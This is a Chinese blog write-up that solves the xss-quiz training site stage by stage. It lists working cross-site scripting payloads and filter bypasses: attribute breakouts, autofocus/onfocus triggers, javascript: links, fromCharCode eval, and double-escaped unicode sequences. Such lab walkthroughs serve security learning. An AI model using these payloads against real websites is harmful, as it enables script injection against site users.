用肝刷xss-quiz
前言
刷刷xss, have fun…
项目地址:http://xss-quiz.int21h.jp
Stage 1
<img src='1' onerror="alert(document.domain)" />
Stage 2
<img src="" onerror="alert(document.domain)"/>
被放置在value中直接闭合即可
"><img src='' onerror="alert(document.domain)" /><id="1
"><img src='' onerror="alert(document.domain)" />//
Stage 3
输入123显示在b标签中
尝试闭合b标签
123"</b><script>alert(document.domain)</script>//
<
,'
1被实体编码
国家选择处,没有进行html实体编码,
Stage 4
交互发送了三个参数,p1,p2都实体编码了
找p3进行利用
"><script>alert(document.domain)</script><id="
Stage 5
"><script>alert(document.domain)</script><id="
Satage 6
<
被实体编码
想着编码绕过,但是\
被吃掉
考点是input中事件执行xss,得需要考虑自动触发,要不做出来也没打意义,如下payload能够自动触发xss
参考链接:http://suroot.cn/106.html
" autofocus onfocus="alert(document.domain)
再提几个需要条件触发xss
鼠标向上移动触发js事件:"onmouseover="alert(document.domain)",onmouseover要脱离引号,alert在引号内。
鼠标点击触发js事件:"onclick="alert(document.domain)"
事件会在页面或图像加载完成后立即发生:onload="alert(document.domain)"
Stage 7
过滤:<
,>
,\
添加: 空格+符号=>符号=""
符号=123 =>符号="123"
不能用单引号去闭合,这里自动触发xss行不通,只能靠特定条件触发xss
payload:
123 onclick=alert(document.domain)
Stage 8
考察javascript伪协议
payload
javascript:alert(document.domain)
Stage 9
交换过程中发送编码形式
利用utf-7编码
参考链接:https://sakurasec.com/utf-7-xss/
但是现在浏览器不支持utf-7,跳过该题目
Stage 10
过滤了domain关键字,使用html实体编码绕过
"><img src='' onerror="alert(document.domdomainain)" /><id="
"><img src='' onerror="alert(document.domain)" /><id="
"><img src='' onerror=eval(String.fromCharCode(97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,100,111,109,97,105,110,41)) /><id="
Stage 11
过滤替换
"s/script/xscript/ig;" and "s/on[a-z]+=/onxxx=/ig;" and "s/style=/stxxx=/ig;"
这里考虑使用html编码构造事件,但是浏览器在解析DOM树是不对html编码进行解码.只能考虑在属性中利用
利用javascript伪协议,在属性中进行编码,浏览器在解析完成dom树之后,执行js代码,会进行编码转换
"><a href="javascript:alert(document.domain)"><id="
Stage 12
过滤
"s/[\x00-\x20\<\>\"\']//g;"
过滤双引号,必须构造双引号闭合标签,利用html实体编码,浏览器解码后会认为该双引号为字符型,无法逃逸.
但更恶心是<
被过滤,其他wp都是基于iE浏览器意义不大.
13-14关也是针对IE浏览器,跳过
Stage 15
输出内容是经过document.write("内容")
输出到value中,
直接构造标签输出到value,<,"
会被转义,
既然是在js中执行,考虑unicode绕过,后端php会执行stripslashes过滤\
双写即可绕过
\\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e
\\x3cscript\\x3ealert(document.domain);\\x3c/script\\x3e
总结
- 考虑送至后端的参数,可能存在你在浏览器不能输入,但是可控,抓包查看.
- 考虑浏览器解析html先后顺序,利用该差异,应用不同的编码绕过
- 一般情况下
<,>,\,"
就x不起来了 - 开f12做题有惊喜
- 关注meta属性
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!